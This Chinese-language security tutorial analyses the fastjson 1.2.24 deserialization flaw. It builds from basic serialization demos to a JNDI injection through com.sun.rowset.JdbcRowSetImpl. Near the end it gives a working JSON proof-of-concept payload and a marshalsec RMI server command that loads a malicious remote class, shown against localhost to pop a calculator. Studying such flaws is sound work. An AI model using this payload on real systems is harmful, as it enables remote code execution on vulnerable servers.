【入坑JAVA安全】fastjson中的jndi注入

0x01 前言

前一章簡單介紹了jndi注入的知識,這一章主要是分析一下fastjson 1.2.24版本的反序列化漏洞,這個漏洞比較普遍的利用手法就是通過jndi注入的方式實現RCE,所以我覺得是一個挺好的JNDI注入實踐案例。

0x02 fastjson反序列化特點

不同於我們之前提到的java反序列化,fastjson的序列化有其自身特點,我們通過一些小demo來展示如何使用fastjson。我們常說的fastjson的序列化就是將java對象轉化爲json字符串,而反序列化就是將json字符串轉化爲java對象。

  • fastjson 序列化demo:
import com.alibaba.fastjson.JSON;

public class Test {
    public static void main(String[] args){
        User user = new User();
        user.setName("axin");
        user.setAge(18);

        String json = JSON.toJSONString(user);
        System.out.println(json);
    }
}

其中User類如下:

public class User {
    private int age;
    public String name;
    public void sayHello(){
        System.out.println("Hello, I am "+name);
    }
    public void getName(){
        System.out.println(name);
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public void setName(String name) {
        this.name = name;
    }
}

運行Test類,就會得到如下json字符串:

在這裏插入圖片描述

  • fastjson 反序列化demo

fastjson反序列化有個特點,就是會自動調用目標對象的setXXX方法,例如{“name”,“axin”, “age”: 18}被反序列化時會自動調用對應對象的setName以及setAge方法,我們用代碼實踐一下,看看是否的確如此

修改一下User類:

public class User {
    private int age;
    public String name;
    public void sayHello(){
        System.out.println("Hello, I am "+name);
    }
    public void getName(){
        System.out.println(name);
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
        System.out.println("調用了setAge");
    }

    public void setName(String name) {
        this.name = name;
        System.out.println("調用了setName");
    }
}

然後新建一個反序列化的類:

import com.alibaba.fastjson.JSON;

public class JsonToObj {
    public static void main(String[] args){
        String str = "{\"age\":18,\"name\":\"axin\"}";
        User user = JSON.parseObject(str, User.class);
    }
}

運行該類,得到如下結果,說明反序列化的過程中確實調用了setXXX方法:

在這裏插入圖片描述

其實fastjson反序列化是有兩個api的,一個是上面demo中用到的parseObject()還有一個是parse()方法,他們的最主要的區別就是前者返回的是JSONObject而後者返回的是實際類型的對象,當在沒有對應類的定義的情況下,通常情況下都會使用JSON.parseObject來獲取數據。

而且在直接使用JSON.parseObject()方法反序列化json字符串的時候是不會調用對應對象的setXXX方法的,那麼怎麼才能讓直接使用JSON.parseObject()反序列化的對象也調用setXXX方法呢,答案是利用@type屬性,來看下對比:

在這裏插入圖片描述

可見加了@type屬性就能調用對應對象的setXXX方法,那這個@type屬性具體是幹嘛的呢?其實從上面的demo應該也能得知一二了,就是指定該json字符串要反序列化到哪個類。這個屬性讓我們的漏洞利用如魚得水~

ps: fastjson反序列化默認只能反序列化公共屬性,如果想要對應的私有屬性也被反序列話,則需要下面這樣添加一個Feature.SupportNonPublicField參數:
JSON.parseObject(myJSON, User.class, Feature.SupportNonPublicField);

0x03 fastjson反序列化——JNDI攻擊向量

有了上面的知識鋪墊,大家應該能夠想到怎麼利用fastjson的反序列化執行命令了吧?就是利用@type屬性以及自動調用setXXX方法,如果我們能夠找到一個類,而這個類的某個setXXX方法中通過我們的精心構造能夠完成命令執行不就行了嘛~

com.sun.rowset.JdbcRowSetImpl就是這麼一個類,這個類中有兩個set方法,分別是setDataSourceName()與setAutoCommit(),我們看一下相關實現:

setDatasourceName

    public void setDataSourceName(String name) throws SQLException {

        if (name == null) {
            dataSource = null;
        } else if (name.equals("")) {
           throw new SQLException("DataSource name cannot be empty string");
        } else {
           dataSource = name;
        }

        URL = null;
    }

setAutoCommit

    public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }

    }

這裏的setDataSourceName就是設置了dataSourceName,然後在setAutoCommit中進行了connect操作,我們跟進看一下

    protected Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }

可以看到這裏connect方法中有典型的jndi的lookup方法調用,且參數就是我們在setDataSourceName中設置的dataSourceName。

具體的代碼就先不分析了,fastjson反序列化的流程大概就是先進行json數據的解析,我個人認爲這個分析是個體力活,一步一步調試就行了,就沒必要再寫出來了。然後我們現在知道了上面兩個setXXX方法有問題,怎麼構造poc呢?如下就行:

{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:1099/Evil", "autoCommit":true}}

可見dataSourceName的值爲我們惡意的rmi對象,之前我們都是自己寫代碼註冊rmi對象的,現在介紹一個線程的部署rmi服務的工具:

https://github.com/mbechler/marshalsec

需要自己用maven工具生成jar包,使用說明中有介紹,我們用該工具快速搭建一個rmi服務器,並把惡意的遠程對象註冊到上面,使用如下命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8000/#Evil

其中我們的惡意對象是放在本地的一個運行在8000端口的web服務上的(我們可以用python快速搭建一個web服務器)

彈個計算器

在這裏插入圖片描述

老鐵們,你們覺得我做的對嘛(手動狗頭)

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章